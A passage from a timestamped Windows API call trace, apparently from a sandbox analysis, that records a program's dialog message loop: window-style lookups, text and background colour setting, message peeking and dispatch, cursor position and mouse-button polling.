GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.532] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.532] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.532] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.532] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.532] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0033.538] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0033.538] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.538] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.538] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.538] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.538] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.538] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0033.538] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0033.543] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.543] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.543] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.543] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.543] GetWindowLongPtrW (hWnd=0x2011c, nIndex=-21) returned 0x5 [0033.543] GetWindowLongPtrW (hWnd=0x2011c, nIndex=-21) returned 0x5 [0033.543] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.543] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0033.543] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0033.562] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.563] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.563] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.563] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.563] GetWindowLongPtrW (hWnd=0x501e6, nIndex=-21) returned 0x6 [0033.563] GetWindowLongPtrW (hWnd=0x501e6, nIndex=-21) returned 0x6 [0033.563] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.563] GetWindowLongW (hWnd=0x501e6, nIndex=-16) returned 1342242944 [0033.563] GetSysColor (nIndex=5) returned 0xffffff [0033.563] GetSysColor (nIndex=8) returned 0x0 [0033.563] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0033.563] SetBkColor (hdc=0x11010729, color=0xffffff) returned 0xffffff [0033.563] CreateSolidBrush (color=0xffffff) returned 0x14100802 [0033.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.571] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x6f0106f6, lParam=0x0) returned 0x1 [0033.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.571] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.571] SetBkColor (hdc=0x6f0106f6, color=0xf0f0f0) returned 0xffffff [0033.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.571] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x6f0106f6, lParam=0x4) returned 0x0 [0033.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.571] GetWindowLongPtrW (hWnd=0x501e6, nIndex=-21) returned 0x6 [0033.571] GetWindowLongPtrW (hWnd=0x501e6, nIndex=-21) returned 0x6 [0033.571] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.571] GetWindowLongW (hWnd=0x501e6, nIndex=-16) returned 1342242944 [0033.571] GetSysColor (nIndex=5) returned 0xffffff [0033.571] GetSysColor (nIndex=8) returned 0x0 [0033.571] SetTextColor (hdc=0x700106f6, color=0x0) returned 0x0 [0033.571] SetBkColor (hdc=0x700106f6, color=0xffffff) returned 0xffffff [0033.610] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.617] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.617] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0033.617] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.617] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0033.618] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x710106f6, lParam=0x0) returned 0x1 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.618] SetBkColor (hdc=0x710106f6, color=0xf0f0f0) returned 0xffffff [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x710106f6, lParam=0x4) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.618] SetBkColor (hdc=0x710106f6, color=0xf0f0f0) returned 0xf0f0f0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018a, nIndex=-21) returned 0x7 [0033.618] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x7, lParam=0xc80cb2f090) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.618] GetWindowLongPtrW (hWnd=0x5018a, nIndex=-21) returned 0x7 [0033.618] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x7, lParam=0xc80cb2f090) returned 0x0 [0033.619] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.619] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.619] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0033.619] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.619] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.619] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.619] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.619] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.619] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.619] GetWindowLongW (hWnd=0x201ea, nIndex=-16) returned 1342179332 [0033.619] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.619] GetSysColor (nIndex=8) returned 0x0 [0033.619] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0033.619] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0033.630] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.630] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4b0106dd, lParam=0x0) returned 0x1 [0033.630] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.630] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.630] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.630] SetBkColor (hdc=0x4b0106dd, color=0xf0f0f0) returned 0xffffff [0033.630] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.630] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4b0106dd, lParam=0x4) returned 0x0 [0033.630] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.630] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.630] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.630] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.630] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.630] GetWindowLongW (hWnd=0x201ea, nIndex=-16) returned 1342179332 [0033.631] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.631] GetSysColor (nIndex=8) returned 0x0 [0033.631] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0033.631] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0033.631] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.631] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.631] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.631] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.631] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.631] GetWindowLongW (hWnd=0x201ea, nIndex=-16) returned 1342179332 [0033.631] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.631] GetSysColor (nIndex=8) returned 0x0 [0033.631] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0033.631] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0033.631] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.631] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.631] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.631] GetWindowLongPtrW (hWnd=0x201ea, nIndex=-21) returned 0x8 [0033.631] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.631] GetWindowLongW (hWnd=0x201ea, nIndex=-16) returned 1342179332 [0033.631] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.631] GetSysColor (nIndex=8) returned 0x0 [0033.631] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0033.631] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0033.635] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.635] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0033.635] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.635] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0033.635] GetForegroundWindow () returned 0x5018c [0033.635] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.635] GetCursorPos (in: lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750*(x=354, y=388)) returned 1 [0033.635] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750) returned 1 [0033.635] GetAsyncKeyState (vKey=1) returned 0 [0033.635] GetAsyncKeyState (vKey=2) returned 0 [0033.635] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.643] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.643] CreateAcceleratorTableW (paccel=0xc80cc49540, cAccel=1) returned 0x4e01dd [0033.643] GetForegroundWindow () returned 0x5018c [0033.643] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.643] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.643] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.643] Sleep (dwMilliseconds=0x0) [0033.644] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.644] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.644] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.644] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.644] Sleep (dwMilliseconds=0x0) [0033.661] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.661] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x20, wParam=0x9001e, lParam=0x2000001) returned 0x0 [0033.662] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.662] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f590) returned 0x0 [0033.662] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.662] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.662] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.662] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.662] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.662] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0033.662] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x1601069e, lParam=0x0) returned 0x1 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.662] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0x0 [0033.662] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.662] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x1601069e, lParam=0x4) returned 0x0 [0033.663] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.663] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.663] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x790106d5, lParam=0x0) returned 0x1 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.663] SetBkColor (hdc=0x790106d5, color=0xf0f0f0) returned 0xffffff [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x790106d5, lParam=0x4) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.663] SetBkColor (hdc=0x790106d5, color=0xf0f0f0) returned 0xf0f0f0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.663] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.663] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.663] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.664] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xffffff [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.664] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.664] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.664] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.664] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.664] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.664] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.664] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.664] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.664] Sleep (dwMilliseconds=0x0) [0033.665] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.665] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.665] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.665] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.665] Sleep (dwMilliseconds=0x0) [0033.679] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.679] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.680] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.680] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0033.680] GetForegroundWindow () returned 0x5018c [0033.680] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.680] GetCursorPos (in: lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750*(x=568, y=532)) returned 1 [0033.680] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750) returned 1 [0033.680] GetAsyncKeyState (vKey=1) returned 0 [0033.680] GetAsyncKeyState (vKey=2) returned 0 [0033.680] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.680] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.680] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.680] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0033.680] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.680] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0033.680] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] Sleep (dwMilliseconds=0x0) [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.681] Sleep (dwMilliseconds=0x0) [0033.696] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.696] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.696] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.696] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.696] Sleep (dwMilliseconds=0x0) [0033.697] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.697] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.697] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.697] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, 